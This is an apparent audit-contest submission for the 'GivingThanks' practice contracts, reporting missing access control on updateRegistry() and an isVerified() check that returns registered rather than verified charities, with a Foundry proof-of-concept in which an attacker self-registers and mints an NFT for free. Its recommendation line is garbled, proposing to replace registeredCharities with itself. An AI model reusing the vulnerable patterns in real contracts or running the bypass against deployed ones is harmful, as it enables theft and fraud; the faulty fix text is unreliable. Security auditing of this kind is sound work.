GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Free minting possible

kalodfreelancer

Summary

Users receive NFTs based on their contributions to different charities. By having these NFTs people could check how much a wallet has donated to any charity (currently there is no way to differentiate between the different charities based on the NFT's metadata). It would be very problematic if there was a way to mint these tokens, while not actually sending out the money to the charities.

Vulnerability Details

Any user could get GivingThanks NFTs for free (minus the gas costs) by two ways:

  • Missing access control in GivingThanks.sol -> updateRegistry()

    function updateRegistry(address _registry) public {
    // @audit missing require if msg.sender is owner
    registry = CharityRegistry(_registry);
    }

  • Wrong return value in CharityRegistry -> isVerified()

    function isVerified(address charity) public view returns (bool) {
    // @audit wrong return, should be verifiedCharities
    return registeredCharities[charity];
    }

The simplified function we want to exploit is GivingThanks -> donate()

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
​
_mint(msg.sender, tokenCounter);
//... Create metadata for the tokenURI and increment tokenCounter
}

If we somehow managed to bypass the isVerified() check on the charity input param, we could use our own address and get minted an NFT without any charity receiving it. After knowing about the two issues above, we have two ways to do that:

  • Register our address as a charity using CharityRegistry-> registerCharity

  • change registry in GivingThanksusing updateRegistryand then use our own custom CharityRegistrythat would return true always

I've created my POC using the first method, because it gets the point across, but both exploit paths are equally destructive.

Proof of Concept

function testBypassCharityVerification() public {
// init attacker address with 10 ether
address attacker = makeAddr("attacker");
vm.deal(attacker, 10 ether);
​
// register himself as a charity
vm.prank(attacker);
registryContract.registerCharity(attacker);
​
// donate to himself
uint256 donationAmount = 0.9 ether;
uint256 balanceBeforeDonating = attacker.balance;
vm.prank(attacker);
charityContract.donate{value: donationAmount}(attacker);
​
// receive NFT without paying
assertEq(balanceBeforeDonating, attacker.balance);
uint256 ownedTokens = charityContract.balanceOf(attacker);
assertEq(1, ownedTokens);
}

Impact

There's a severe disruption of protocol functionality

Recommendations

add access control to updateRegistry() and change registeredCharities[charity] to registeredCharities[charity] in isVerified

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

finding-isVerified-return-registered-charities

Likelyhood: High, the function returns registered charities instead of verified ones. Impact: High, Any charities can be registered by anyone and will be declared as verified by this function bypassing verification.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.